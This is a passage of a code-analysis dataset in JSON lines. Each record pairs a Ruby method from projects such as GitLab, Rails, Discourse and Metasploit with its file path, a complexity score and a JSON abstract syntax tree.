\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"flush_amount\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_flushed_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter_record\"]},\"execute_after_commit_callbacks\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter_record\"]},\"reset\"]},\"read_attribute\",{\"type\":\"send\",\"children\":[null,\"attribute\"]}]}]}]}","id":"dfa5f8f3-2a4d-483c-8897-0f13f60f5fcc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/protect_default_branch_service.rb","start_line":67,"raw_source":"def push_access_level\n      if default_branch_protection.no_one_can_push?\n        Gitlab::Access::NO_ACCESS\n      elsif default_branch_protection.developer_can_push?\n        Gitlab::Access::DEVELOPER\n      elsif default_branch_protection.maintainer_can_push?\n        Gitlab::Access::MAINTAINER\n      else\n        Gitlab::Access::ADMIN\n      end\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"push_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_protection\"]},\"no_one_can_push?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"NO_ACCESS\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_protection\"]},\"developer_can_push?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"DEVELOPER\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_protection\"]},\"maintainer_can_push?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"MAINTAINER\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"ADMIN\"]}]}]}]}]}","id":"e3aecd86-f76c-4440-bf07-e6155ca3c853"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/generated_attribute_test.rb","start_line":163,"raw_source":"def test_limit_option_can_be_passed_to_string_text_integer_and_binary\n    %w(string text binary integer).each do |attribute_type|\n      generated_attribute = create_generated_attribute(\"#{attribute_type}{65535}\")\n      assert_equal 65535, generated_attribute.attr_options[:limit]\n    end\n  end","complexity_score":8.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_limit_option_can_be_passed_to_string_text_integer_and_binary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"str\",\"children\":[\"integer\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"generated_attribute\",{\"type\":\"send\",\"children\":[null,\"create_generated_attribute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_type\"]}]},{\"type\":\"str\",\"children\":[\"{65535}\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[65535]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generated_attribute\"]},\"attr_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]}]}]}]}","id":"c53d1665-709c-4c49-aeb7-725672051696"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/xcresult/test_suite.rb","start_line":121,"raw_source":"def process_children(children)\n        children.each do |child|\n          case child['nodeType']\n          when 'Test Case'\n            # Use from_json to generate multiple test cases if needed\n            @test_cases.concat(TestCase.from_json(node: child))\n          when 'Test Suite', 'Unit test bundle', 'UI test bundle'\n            @sub_suites << TestSuite.from_json(node: child)\n          end\n        end\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_children\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"children\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeType\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Test Case\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@test_cases\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestCase\"]},\"from_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Test Suite\"]},{\"type\":\"str\",\"children\":[\"Unit test bundle\"]},{\"type\":\"str\",\"children\":[\"UI test bundle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sub_suites\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestSuite\"]},\"from_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]}]}]}]}]},null]}]}]}","id":"58bccabd-3579-4363-af4b-dd9d5b64aef8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/middleware/current_attributes.rb","start_line":30,"raw_source":"def call(_, job, _, _)\n        @cattrs.each do |(key, strklass)|\n          if !job.has_key?(key)\n            attrs = strklass.constantize.attributes\n            # Retries can push the job N times, we don't\n            # want retries to reset cattr. #5692, #5090\n            if attrs.any?\n              # Older rails has a bug that `CurrentAttributes#attributes` always returns\n              # the same hash instance. We need to dup it to avoid being accidentally mutated.\n              job[key] = if returns_same_object?\n                attrs.dup\n              else\n                attrs\n              end\n            end\n          end\n        end\n        yield\n      end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cattrs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"strklass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strklass\"]},\"constantize\"]},\"attributes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"returns_same_object?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"dup\"]},{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},null]}]},null]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"0988bff7-b366-4056-9e2d-a251a0def32d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_preferences_notifications.rb","start_line":24,"raw_source":"def save_changes\n        click_button \"Save Changes\"\n        expect(page).to have_css(\".saved\")\n        self\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"save_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Save Changes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".saved\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"55d038e6-7a4b-41d4-a0d7-164c294cdd96"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/namespaced_generators_test.rb","start_line":93,"raw_source":"def test_module_file_is_not_created\n    run_generator\n    assert_no_file \"app/models/test_app.rb\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_module_file_is_not_created\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/models/test_app.rb\"]}]}]}]}","id":"82c22f62-b6c5-4fc1-869f-6e1c5d52e0a4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_infra.rb","start_line":147,"raw_source":"def save_clusters_inventory(ems, hashes, target = nil)\n    target = ems if target.nil?\n\n    ems.ems_clusters.reset\n    deletes = determine_deletes_using_association(ems, target)\n\n    save_inventory_multi(ems.ems_clusters, hashes, deletes, [:uid_ems], nil, :ems_children)\n    store_ids_for_new_records(ems.ems_clusters, hashes, :uid_ems)\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"save_clusters_inventory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]},{\"type\":\"arg\",\"children\":[\"hashes\"]},{\"type\":\"optarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"ems_clusters\"]},\"reset\"]},{\"type\":\"lvasgn\",\"children\":[\"deletes\",{\"type\":\"send\",\"children\":[null,\"determine_deletes_using_association\",{\"type\":\"lvar\",\"children\":[\"ems\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"save_inventory_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"ems_clusters\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"lvar\",\"children\":[\"deletes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_ems\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"ems_children\"]}]},{\"type\":\"send\",\"children\":[null,\"store_ids_for_new_records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"ems_clusters\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"sym\",\"children\":[\"uid_ems\"]}]}]}]}","id":"d10b64b2-e341-408b-a4c8-c523a666743f"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/block_body.rb","start_line":108,"raw_source":"private def parse_liquid_tag(markup, parse_context)\n      liquid_tag_tokenizer = parse_context.new_tokenizer(\n        markup, start_line_number: parse_context.line_number, for_liquid_tag: true\n      )\n      parse_for_liquid_tag(liquid_tag_tokenizer, parse_context) do |end_tag_name, _end_tag_markup|\n        if end_tag_name\n          BlockBody.unknown_tag_in_liquid_tag(end_tag_name, parse_context)\n        end\n      end\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"parse_liquid_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markup\"]},{\"type\":\"arg\",\"children\":[\"parse_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"liquid_tag_tokenizer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_context\"]},\"new_tokenizer\",{\"type\":\"lvar\",\"children\":[\"markup\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_line_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_context\"]},\"line_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"for_liquid_tag\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_for_liquid_tag\",{\"type\":\"lvar\",\"children\":[\"liquid_tag_tokenizer\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"end_tag_name\"]},{\"type\":\"arg\",\"children\":[\"_end_tag_markup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_tag_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BlockBody\"]},\"unknown_tag_in_liquid_tag\",{\"type\":\"lvar\",\"children\":[\"end_tag_name\"]},{\"type\":\"lvar\",\"children\":[\"parse_context\"]}]},null]}]}]}]}]}","id":"6c793299-ad34-4a35-bdd5-d3df549e9fc8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attribute_groups.rb","start_line":171,"raw_source":"def work_package_attributes_by_default_group_key\n    active_cfs = active_custom_field_attributes\n\n    work_package_attributes\n      .keys\n      .select { |key| default_attribute?(active_cfs, key) }\n      .sort_by { |key| default_group_map.keys.index(key.to_sym) || default_group_map.keys.size }\n      .group_by { |key| default_group_key(key.to_sym) }\n  end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_attributes_by_default_group_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"active_cfs\",{\"type\":\"send\",\"children\":[null,\"active_custom_field_attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package_attributes\"]},\"keys\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"default_attribute?\",{\"type\":\"lvar\",\"children\":[\"active_cfs\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_group_map\"]},\"keys\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_group_map\"]},\"keys\"]},\"size\"]}]}]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"default_group_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]}]}]}]}","id":"4d797eca-b4b7-4255-8856-ee532b4af458"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":386,"raw_source":"def skip_action_text? # :doc:\n        options[:skip_action_text]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_action_text?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_action_text\"]}]}]}","id":"97b91abf-a341-4ed9-a7f2-8b6514a66497"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/rpc/v10/rpc_session_spec.rb","start_line":11,"raw_source":"def command_ids_for(base_extension_command_id)\n    (base_extension_command_id..base_extension_command_id+Rex::Post::Meterpreter::COMMAND_ID_RANGE).to_a\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"command_ids_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_extension_command_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_extension_command_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_extension_command_id\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"COMMAND_ID_RANGE\"]}]}]}]},\"to_a\"]}]}","id":"642e1420-08b8-4a98-bc57-dd7be218bb3c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/rfcode_reader_enum.rb","start_line":152,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: :password\n    }.merge(service_data)\n\n    login_data = {\n      last_attempted_at: Time.now,\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::SUCCESSFUL,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"315e1cab-d932-48c9-a003-8381712bf6d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb","start_line":12,"raw_source":"def select_source_branch(branch_name)\n    find('.js-source-branch', match: :first).click\n    find('.gl-listbox-search-input').native.send_keys branch_name\n    select_listbox_item(branch_name)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"select_source_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".js-source-branch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".gl-listbox-search-input\"]}]},\"native\"]},\"send_keys\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"send\",\"children\":[null,\"select_listbox_item\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]}]}","id":"299cb14d-2f23-4d8c-914f-2762b4d6ead3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module/concerning_test.rb","start_line":15,"raw_source":"def test_concerning_can_prepend_concern\n    klass = Class.new do\n      def hi; \"self\"; end\n\n      concerning(:Foo, prepend: true) do\n        def hi; \"hello, #{super}\"; end\n      end\n    end\n\n    assert_equal \"hello, self\", klass.new.hi\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_concerning_can_prepend_concern\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"hi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"self\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concerning\",{\"type\":\"sym\",\"children\":[\"Foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prepend\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"hi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"hello, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello, self\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]},\"hi\"]}]}]}]}","id":"8d399a30-7608-4a6a-b894-347a42141d8e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_login.rb","start_line":53,"raw_source":"def rport\n    datastore['RPORT']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}","id":"9b79a3c3-3a38-4b49-a6d6-dd02fec37740"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/railties/generators_test.rb","start_line":34,"raw_source":"def build_engine(is_mountable = false)\n      FileUtils.rm_rf(engine_path)\n      FileUtils.mkdir_p(engine_path)\n\n      mountable = is_mountable ? \"--mountable\" : \"\"\n\n      rails(\"plugin new #{engine_path} --full #{mountable}\")\n\n      Dir.chdir(engine_path) do\n        File.open(\"Gemfile\", \"w\") do |f|\n          f.write <<-GEMFILE.gsub(/^ {12}/, \"\")\n            source \"https://rubygems.org\"\n\n            gem \"rails\", path: \"#{RAILS_FRAMEWORK_ROOT}\"\n            gem \"sqlite3\"\n          GEMFILE\n        end\n      end\n    end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_engine\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"is_mountable\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"send\",\"children\":[null,\"engine_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[null,\"engine_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mountable\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_mountable\"]},{\"type\":\"str\",\"children\":[\"--mountable\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"plugin new \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine_path\"]}]},{\"type\":\"str\",\"children\":[\" --full 